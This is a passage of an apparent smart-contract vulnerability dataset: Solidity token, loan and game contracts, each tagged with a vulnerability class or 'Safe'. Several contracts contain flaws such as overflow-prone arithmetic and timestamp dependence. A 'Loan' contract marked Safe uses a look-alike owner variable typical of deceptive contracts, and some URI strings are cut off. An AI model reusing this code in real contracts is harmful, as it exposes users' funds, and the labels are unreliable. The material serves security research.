(allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract Recoverable is Ownable { /// @dev Empty constructor (for now) function Recoverable() { } /// @dev This will be invoked by the owner, when owner wants to rescue tokens /// @param token Token which will we rescue to the owner from the contract function recoverTokens(ERC20Basic token) onlyOwner public { token.transfer(owner, tokensToBeReturned(token)); } /// @dev Interface function, can be overwritten by the superclass /// @param token Token which balance we will check and return /// @return The amount of tokens (in smallest denominator) the contract owns function tokensToBeReturned(ERC20Basic token) public returns (uint) { return token.balanceOf(this); } /// @dev This will be invoked by the owner, when owner wants to rescue ethers function recoverEthers() onlyOwner public { owner.transfer(this.balance); } } /** * Standard EIP-20 token with an interface marker. * * @notice Interface marker is used by crowdsale contracts to validate that addresses point a good token contract. * */ contract StandardTokenExt is Recoverable, StandardToken { /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } } /** * Issuer manages token distribution after the crowdsale. * * This contract is fed a CSV file with Ethereum addresses and their * issued token balances. * * Issuer act as a gate keeper to ensure there is no double issuance * per address, in the case we need to do several issuance batches, * there is a race condition or there is a fat finger error. * * Issuer contract gets allowance from the team multisig to distribute tokens. * */ contract Issuer is Ownable { /** Map addresses whose tokens we have already issued. */ mapping(address => bool) public issued; /** Centrally issued token we are distributing to our contributors */ StandardTokenExt public token; /** Party (team multisig) who is in the control of the token pool. Note that this will be different from the owner address (scripted) that calls this contract. */ address public allower; /** How many addresses have received their tokens. */ uint public issuedCount; function Issuer(address _owner, address _allower, StandardTokenExt _token) { owner = _owner; allower = _allower; token = _token; } function issue(address benefactor, uint amount) onlyOwner { if(issued[benefactor]) throw; token.transferFrom(allower, benefactor, amount); issued[benefactor] = true; issuedCount += amount; } }",Safe,8,8 1238.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 0x01e53a2e7122a63845b1c329d4fce8124dda5b06_Loan.sol,"pragma solidity ^0.4.16; contract Base { address Creator = msg.sender; address Owner_01 = msg.sender; address Owner_02; address Owner_03; function add(uint256 x, uint256 y) internal returns (uint256) { uint256 z = x + y; if((z >= x) && (z >= y)) { return z; } else { revert(); } } function sub(uint256 x, uint256 y) internal returns (uint256) { if(x >= y) { uint256 z = x - y; return z; } else { revert(); } } function mul(uint256 x, uint256 y) internal returns (uint256) { uint256 z = x * y; if((x == 0) || (z / x == y)) { return z; } else { revert(); } } event Deposit(address indexed sender, uint value); event Invest(address indexed sender, uint value); event Refound(address indexed sender, uint value); event Withdraw(address indexed sender, uint value); event Log(string message); } contract Loan is Base { struct Creditor { uint Time; uint Invested; } uint public TotalInvested; uint public Available; uint public InvestorsQty; uint public prcntRate = 1; bool CanRefound; address Owner_0l; address Owner_02; address Owner_03; mapping (address => uint) public Investors; mapping (address => Creditor) public Creditors; function initLoan() { Owner_0l = msg.sender; } function SetScndOwner(address addr) public { require((msg.sender == Owner_02)||(msg.sender==Creator)); Owner_02 = addr; } function SetThrdOwner(address addr) public { require((msg.sender == Owner_02)||(msg.sender==Creator)); Owner_03 = addr; } function SetPrcntRate(uint val) public { if(val>=1&&msg.sender==Creator) { prcntRate = val; } } function StartRefound(bool val) public { if(msg.sender==Creator) { CanRefound = val; } } function() payable { InvestFund(); } function InvestFund() public payable { if(msg.value>= 1 ether) { if(Investors[msg.sender]==0)InvestorsQty++; Investors[msg.sender]+=msg.value; TotalInvested+=msg.value; Available+=msg.value; Invest(msg.sender,msg.value); } } function ToLend() public payable { Creditors[msg.sender].Time = now; Creditors[msg.sender].Invested += msg.value; Deposit(msg.sender,msg.value); } function CheckProfit(address addr) public constant returns(uint) { return ((Creditors[addr].Invested/100)*prcntRate)*((now-Creditors[addr].Time)/1 days); } function TakeBack() public payable { uint profit = CheckProfit(msg.sender); if(profit>0&&CanRefound) { uint summ = Creditors[msg.sender].Invested+profit; Creditors[msg.sender].Invested = 0; msg.sender.transfer(summ); Refound(msg.sender,summ); } } function WithdrawToInvestor(address _addr, uint _wei) public payable { if(Investors[_addr]>0) { if(isOwner()) { if(_addr.send(_wei)) { Available-=_wei; Withdraw(_addr,_wei); } } } } function Wthdraw() public payable { if(msg.sender==Creator) { Creator.transfer(this.balance); } } function isOwner() private constant returns (bool) { return( msg.sender == Owner_01 || msg.sender == Owner_02 || msg.sender == Owner_03); } }",Safe,8,8 80.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AltcoinToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Test11 is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = ""Test11""; string public constant symbol = ""TST11""; uint public constant decimals = 8; uint256 public totalSupply = 86000000e8; uint256 public totalDistributed = 0; uint256 public tokensPerEth = 86000e8; uint256 public bonus = 0; uint256 public constant minContribution = 1 ether / 1000; // 0.001 Ether uint256 public constant extraBonus = 1 ether / 20; // 0.05 Ether event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function Test11 () public { owner = msg.sender; uint256 devTokens = 4300000e8; distr(owner, devTokens); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed + _amount <= totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; require( msg.value >= minContribution ); require( msg.value > 0 ); tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; bonus = 0; if ( msg.value >= extraBonus ) { bonus = tokens / 2; } tokens = tokens + bonus; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) { AltcoinToken token = AltcoinToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",./Dataset/ether strict equality (SE),3,3 837.sol,"pragma solidity 0.4.24; library SafeMath { function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } contract Ownable { address internal contractOwner; constructor () internal { if(contractOwner == address(0)){ contractOwner = msg.sender; } } modifier onlyOwner() { require(msg.sender == contractOwner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); contractOwner = newOwner; } } contract MyCryptoChampCore{ struct Champ { uint id; uint attackPower; uint defencePower; uint cooldownTime; uint readyTime; uint winCount; uint lossCount; uint position; uint price; uint withdrawCooldown; uint eq_sword; uint eq_shield; uint eq_helmet; bool forSale; } struct AddressInfo { uint withdrawal; uint champsCount; uint itemsCount; string name; } struct Item { uint id; uint8 itemType; uint8 itemRarity; uint attackPower; uint defencePower; uint cooldownReduction; uint price; uint onChampId; bool onChamp; bool forSale; } Champ[] public champs; Item[] public items; mapping (uint => uint) public leaderboard; mapping (address => AddressInfo) public addressInfo; mapping (bool => mapping(address => mapping (address => bool))) public tokenOperatorApprovals; mapping (bool => mapping(uint => address)) public tokenApprovals; mapping (bool => mapping(uint => address)) public tokenToOwner; mapping (uint => string) public champToName; mapping (bool => uint) public tokensForSaleCount; uint public pendingWithdrawal = 0; function addWithdrawal(address _address, uint _amount) public; function clearTokenApproval(address _from, uint _tokenId, bool _isTokenChamp) public; function setChampsName(uint _champId, string _name) public; function setLeaderboard(uint _x, uint _value) public; function setTokenApproval(uint _id, address _to, bool _isTokenChamp) public; function setTokenOperatorApprovals(address _from, address _to, bool _approved, bool _isTokenChamp) public; function setTokenToOwner(uint _id, address _owner, bool _isTokenChamp) public; function setTokensForSaleCount(uint _value, bool _isTokenChamp) public; function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) public; function newChamp(uint _attackPower,uint _defencePower,uint _cooldownTime,uint _winCount,uint _lossCount,uint _position,uint _price,uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale,address _owner) public returns (uint); function newItem(uint8 _itemType,uint8 _itemRarity,uint _attackPower,uint _defencePower,uint _cooldownReduction,uint _price,uint _onChampId,bool _onChamp,bool _forSale,address _owner) public returns (uint); function updateAddressInfo(address _address, uint _withdrawal, bool _updatePendingWithdrawal, uint _champsCount, bool _updateChampsCount, uint _itemsCount, bool _updateItemsCount, string _name, bool _updateName) public; function updateChamp(uint _champId, uint _attackPower,uint _defencePower,uint _cooldownTime,uint _readyTime,uint _winCount,uint _lossCount,uint _position,uint _price,uint _withdrawCooldown,uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale) public; function updateItem(uint _id,uint8 _itemType,uint8 _itemRarity,uint _attackPower,uint _defencePower,uint _cooldownReduction,uint _price,uint _onChampId,bool _onChamp,bool _forSale) public; function getChampStats(uint256 _champId) public view returns(uint256,uint256,uint256); function getChampsByOwner(address _owner) external view returns(uint256[]); function getTokensForSale(bool _isTokenChamp) view external returns(uint256[]); function getItemsByOwner(address _owner) external view returns(uint256[]); function getTokenCount(bool _isTokenChamp) external view returns(uint); function getTokenURIs(uint _tokenId, bool _isTokenChamp) public view returns(string); function onlyApprovedOrOwnerOfToken(uint _id, address _msgsender, bool _isTokenChamp) external view returns(bool); } contract Inherit is Ownable{ address internal coreAddress; MyCryptoChampCore internal core; modifier onlyCore(){ require(msg.sender == coreAddress); _; } function loadCoreAddress(address newCoreAddress) public onlyOwner { require(newCoreAddress != address(0)); coreAddress = newCoreAddress; core = MyCryptoChampCore(coreAddress); } } contract Strings { function strConcat(string _a, string _b) internal pure returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); string memory ab = new string(_ba.length + _bb.length); bytes memory bab = bytes(ab); uint k = 0; for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i]; return string(bab); } function uint2str(uint i) internal pure returns (string){ if (i == 0) return ""0""; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } } interface EC { function emitTransfer(address _from, address _to, uint _tokenId) external; } contract Controller is Inherit, Strings { using SafeMath for uint; struct Champ { uint id; uint attackPower; uint defencePower; uint cooldownTime; uint readyTime; uint winCount; uint lossCount; uint position; uint price; uint withdrawCooldown; uint eq_sword; uint eq_shield; uint eq_helmet; bool forSale; } struct Item { uint id; uint8 itemType; uint8 itemRarity; uint attackPower; uint defencePower; uint cooldownReduction; uint price; uint onChampId; bool onChamp; bool forSale; } EC champsEC; EC itemsEC; modifier contractMinBalanceReached(){ uint pendingWithdrawal = core.pendingWithdrawal(); require( (address(core).balance).sub(pendingWithdrawal) > 1000000 ); _; } modifier onlyApprovedOrOwnerOfToken(uint _id, address _msgsender, bool _isTokenChamp) { require(core.onlyApprovedOrOwnerOfToken(_id, _msgsender, _isTokenChamp)); _; } function getChampReward(uint _position) public view returns(uint) { if(_position <= 800){ uint rewardPercentage = uint(2000).sub(2 * (_position - 1)); uint availableWithdrawal = address(coreAddress).balance.sub(core.pendingWithdrawal()); return availableWithdrawal / 1000000 * rewardPercentage; }else{ return uint(0); } } function setChampEC(address _address) public onlyOwner { champsEC = EC(_address); } function setItemsEC(address _address) public onlyOwner { itemsEC = EC(_address); } function changeChampsName(uint _champId, string _name, address _msgsender) external onlyApprovedOrOwnerOfToken(_champId, _msgsender, true) onlyCore { core.setChampsName(_champId, _name); } function withdrawChamp(uint _id, address _msgsender) external onlyApprovedOrOwnerOfToken(_id, _msgsender, true) contractMinBalanceReached onlyCore { Champ memory champ = _getChamp(_id); require(champ.position <= 800); require(champ.withdrawCooldown < block.timestamp); champ.withdrawCooldown = block.timestamp + 1 days; _updateChamp(champ); core.addWithdrawal(_msgsender, getChampReward(champ.position)); } function _attackCompleted(Champ memory _winnerChamp, Champ memory _defeatedChamp, uint _pointsGiven) private { _winnerChamp.attackPower += _pointsGiven; _winnerChamp.defencePower += _pointsGiven; _defeatedChamp.attackPower = (_defeatedChamp.attackPower <= _pointsGiven + 2) ? 2 : _defeatedChamp.attackPower - _pointsGiven; _defeatedChamp.defencePower = (_defeatedChamp.defencePower <= _pointsGiven) ? 1 : _defeatedChamp.defencePower - _pointsGiven; _winnerChamp.winCount++; _defeatedChamp.lossCount++; if(_winnerChamp.position > _defeatedChamp.position) { uint winnerPosition = _winnerChamp.position; uint loserPosition = _defeatedChamp.position; _defeatedChamp.position = winnerPosition; _winnerChamp.position = loserPosition; } _updateChamp(_winnerChamp); _updateChamp(_defeatedChamp); } function attack(uint _champId, uint _targetId, address _msgsender) external onlyApprovedOrOwnerOfToken(_champId, _msgsender, true) onlyCore { Champ memory myChamp = _getChamp(_champId); Champ memory enemyChamp = _getChamp(_targetId); require (myChamp.readyTime <= block.timestamp); require(_champId != _targetId); require(core.tokenToOwner(true, _targetId) != address(0)); uint pointsGiven; uint myChampAttackPower; uint enemyChampDefencePower; uint myChampCooldownReduction; (myChampAttackPower,,myChampCooldownReduction) = core.getChampStats(_champId); (,enemyChampDefencePower,) = core.getChampStats(_targetId); if (myChampAttackPower > enemyChampDefencePower) { if(myChampAttackPower - enemyChampDefencePower < 5){ pointsGiven = 6; }else if(myChampAttackPower - enemyChampDefencePower < 10){ pointsGiven = 4; }else{ pointsGiven = 2; } _attackCompleted(myChamp, enemyChamp, pointsGiven/2); } else { pointsGiven = 2; _attackCompleted(enemyChamp, myChamp, pointsGiven/2); } myChamp.readyTime = uint(block.timestamp + myChamp.cooldownTime - myChampCooldownReduction); _updateChamp(myChamp); } function _cancelChampSale(Champ memory _champ) private { _champ.forSale = false; _updateChamp(_champ); } function _transferChamp(address _from, address _to, uint _champId) private onlyCore { Champ memory champ = _getChamp(_champId); if(champ.forSale){ _cancelChampSale(champ); } core.clearTokenApproval(_from, _champId, true); (,uint toChampsCount,,) = core.addressInfo(_to); (,uint fromChampsCount,,) = core.addressInfo(_from); core.updateAddressInfo(_to,0,false,toChampsCount + 1,true,0,false,"""",false); core.updateAddressInfo(_from,0,false,fromChampsCount - 1,true,0,false,"""",false); core.setTokenToOwner(_champId, _to, true); champsEC.emitTransfer(_from,_to,_champId); if(champ.eq_sword != 0) { _transferItem(_from, _to, champ.eq_sword); } if(champ.eq_shield != 0) { _transferItem(_from, _to, champ.eq_shield); } if(champ.eq_helmet != 0) { _transferItem(_from, _to, champ.eq_helmet); } } function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) external onlyCore{ if(_isTokenChamp){ _transferChamp(_from, _to, _id); }else{ _transferItem(_from, _to, _id); } } function cancelTokenSale(uint _id, address _msgsender, bool _isTokenChamp) public onlyApprovedOrOwnerOfToken(_id, _msgsender, _isTokenChamp) onlyCore { if(_isTokenChamp){ Champ memory champ = _getChamp(_id); require(champ.forSale); _cancelChampSale(champ); }else{ Item memory item = _getItem(_id); require(item.forSale); _cancelItemSale(item); } } function giveToken(address _to, uint _id, address _msgsender, bool _isTokenChamp) external onlyApprovedOrOwnerOfToken(_id, _msgsender, _isTokenChamp) onlyCore { if(_isTokenChamp){ _transferChamp(core.tokenToOwner(true,_id), _to, _id); }else{ _transferItem(core.tokenToOwner(false,_id), _to, _id); } } function setTokenForSale(uint _id, uint _price, address _msgsender, bool _isTokenChamp) external onlyApprovedOrOwnerOfToken(_id, _msgsender, _isTokenChamp) onlyCore { if(_isTokenChamp){ Champ memory champ = _getChamp(_id); require(champ.forSale == false); champ.forSale = true; champ.price = _price; _updateChamp(champ); }else{ Item memory item = _getItem(_id); require(item.forSale == false); item.forSale = true; item.price = _price; _updateItem(item); } } function _updateChamp(Champ memory champ) private { core.updateChamp(champ.id, champ.attackPower, champ.defencePower, champ.cooldownTime, champ.readyTime, champ.winCount, champ.lossCount, champ.position, champ.price, champ.withdrawCooldown, champ.eq_sword, champ.eq_shield, champ.eq_helmet, champ.forSale); } function _updateItem(Item memory item) private { core.updateItem(item.id, item.itemType, item.itemRarity, item.attackPower, item.defencePower, item.cooldownReduction,item.price, item.onChampId, item.onChamp, item.forSale); } function _getChamp(uint _champId) private view returns (Champ) { Champ memory champ; (champ.id, champ.attackPower, champ.defencePower, champ.cooldownTime, champ.readyTime, champ.winCount, champ.lossCount, champ.position,,,,,,) = core.champs(_champId); (,,,,,,,,champ.price, champ.withdrawCooldown, champ.eq_sword, champ.eq_shield, champ.eq_helmet, champ.forSale) = core.champs(_champId); return champ; } function _getItem(uint _itemId) private view returns (Item) { Item memory item; (item.id, item.itemType, item.itemRarity, item.attackPower, item.defencePower, item.cooldownReduction,,,,) = core.items(_itemId); (,,,,,,item.price, item.onChampId, item.onChamp, item.forSale) = core.items(_itemId); return item; } function getTokenURIs(uint _id, bool _isTokenChamp) public pure returns(string) { if(_isTokenChamp){ return strConcat('https: }else{ return strConcat('https: } } function _takeOffItem(uint _champId, uint8 _type) private { uint itemId; Champ memory champ = _getChamp(_champId); if(_type == 1){ itemId = champ.eq_sword; if (itemId > 0) { champ.eq_sword = 0; } } if(_type == 2){ itemId = champ.eq_shield; if(itemId > 0) { champ.eq_shield = 0; } } if(_type == 3){ itemId = champ.eq_helmet; if(itemId > 0) { champ.eq_helmet = 0; } } if(itemId > 0){ Item memory item = _getItem(itemId); item.onChamp = false; _updateItem(item); } } function takeOffItem(uint _champId, uint8 _type, address _msgsender) public onlyApprovedOrOwnerOfToken(_champId, _msgsender, true) onlyCore { _takeOffItem(_champId, _type); } function putOn(uint _champId, uint _itemId, address _msgsender) external onlyApprovedOrOwnerOfToken(_champId, _msgsender, true) onlyApprovedOrOwnerOfToken(_itemId, _msgsender, false) onlyCore { Champ memory champ = _getChamp(_champId); Item memory item = _getItem(_itemId); if(item.onChamp){ _takeOffItem(item.onChampId, item.itemType); } item.onChamp = true; item.onChampId = _champId; if(item.itemType == 1){ if(champ.eq_sword > 0){ _takeOffItem(champ.id, 1); } champ.eq_sword = _itemId; } if(item.itemType == 2){ if(champ.eq_shield > 0){ _takeOffItem(champ.id, 2); } champ.eq_shield = _itemId; } if(item.itemType == 3){ if(champ.eq_helmet > 0){ _takeOffItem(champ.id, 3); } champ.eq_helmet = _itemId; } _updateChamp(champ); _updateItem(item); } function _cancelItemSale(Item memory item) private { item.forSale = false; _updateItem(item); } function _transferItem(address _from, address _to, uint _itemID) private { Item memory item = _getItem(_itemID); if(item.forSale){ _cancelItemSale(item); } if(item.onChamp && _to != core.tokenToOwner(true, item.onChampId)){ _takeOffItem(item.onChampId, item.itemType); } core.clearTokenApproval(_from, _itemID, false); (,,uint toItemsCount,) = core.addressInfo(_to); (,,uint fromItemsCount,) = core.addressInfo(_from); core.updateAddressInfo(_to,0,false,0,false,toItemsCount + 1,true,"""",false); core.updateAddressInfo(_from,0,false,0,false,fromItemsCount - 1,true,"""",false); core.setTokenToOwner(_itemID, _to,false); itemsEC.emitTransfer(_from,_to,_itemID); } function forgeItems(uint _parentItemID, uint _childItemID, address _msgsender) external onlyApprovedOrOwnerOfToken(_parentItemID, _msgsender, false) onlyApprovedOrOwnerOfToken(_childItemID, _msgsender, false) onlyCore { require(_parentItemID != _childItemID); Item memory parentItem = _getItem(_parentItemID); Item memory childItem = _getItem(_childItemID); if(parentItem.forSale){ _cancelItemSale(parentItem); } if(childItem.forSale){ _cancelItemSale(childItem); } if(childItem.onChamp){ _takeOffItem(childItem.onChampId, childItem.itemType); } parentItem.attackPower = (parentItem.attackPower > childItem.attackPower) ? parentItem.attackPower : childItem.attackPower; parentItem.defencePower = (parentItem.defencePower > childItem.defencePower) ? parentItem.defencePower : childItem.defencePower; parentItem.cooldownReduction = (parentItem.cooldownReduction > childItem.cooldownReduction) ? parentItem.cooldownReduction : childItem.cooldownReduction; parentItem.itemRarity = uint8(6); _updateItem(parentItem); _transferItem(core.tokenToOwner(false,_childItemID), address(0), _childItemID); } }",./Dataset/timestamp dependency (TP)/,6,6 0x049bc2b116d0b2869ee5be4ff98c1b5e0860fd55_RichClassic.sol,"pragma solidity ^0.4.18; /** * Math operations with safety checks * By OpenZeppelin: https://github.com/OpenZeppelin/zeppelin-solidity/contracts/SafeMath.sol */ library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract ContractReceiver{ function tokenFallback(address _from, uint256 _value, bytes _data) external; } //Basic ERC23 token, backward compatible with ERC20 transfer function. //Based in part on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git contract ERC23BasicToken { using SafeMath for uint256; uint256 public totalSupply; mapping(address => uint256) balances; event Transfer(address indexed from, address indexed to, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value, bytes data); function tokenFallback(address _from, uint256 _value, bytes _data) external { throw; } function transfer(address _to, uint256 _value, bytes _data) returns (bool success) { //Standard ERC23 transfer function if(isContract(_to)) { transferToContract(_to, _value, _data); } else { transferToAddress(_to, _value, _data); } return true; } function transfer(address _to, uint256 _value) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { transferToContract(_to, _value, empty); } else { transferToAddress(_to, _value, empty); } } function transferToAddress(address _to, uint256 _value, bytes _data) internal { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); } function transferToContract(address _to, uint256 _value, bytes _data) internal { balances[msg.sender] = balances[msg.sender].sub( _value); balances[_to] = balances[_to].add( _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) returns (bool is_contract) { uint256 length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } if(length>0) { return true; } else { return false; } } } // Standard ERC23 token, backward compatible with ERC20 standards. // Based on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git contract ERC23StandardToken is ERC23BasicToken { mapping (address => mapping (address => uint256)) allowed; event Approval (address indexed owner, address indexed spender, uint256 value); function transferFrom(address _from, address _to, uint256 _value) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint256 _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; 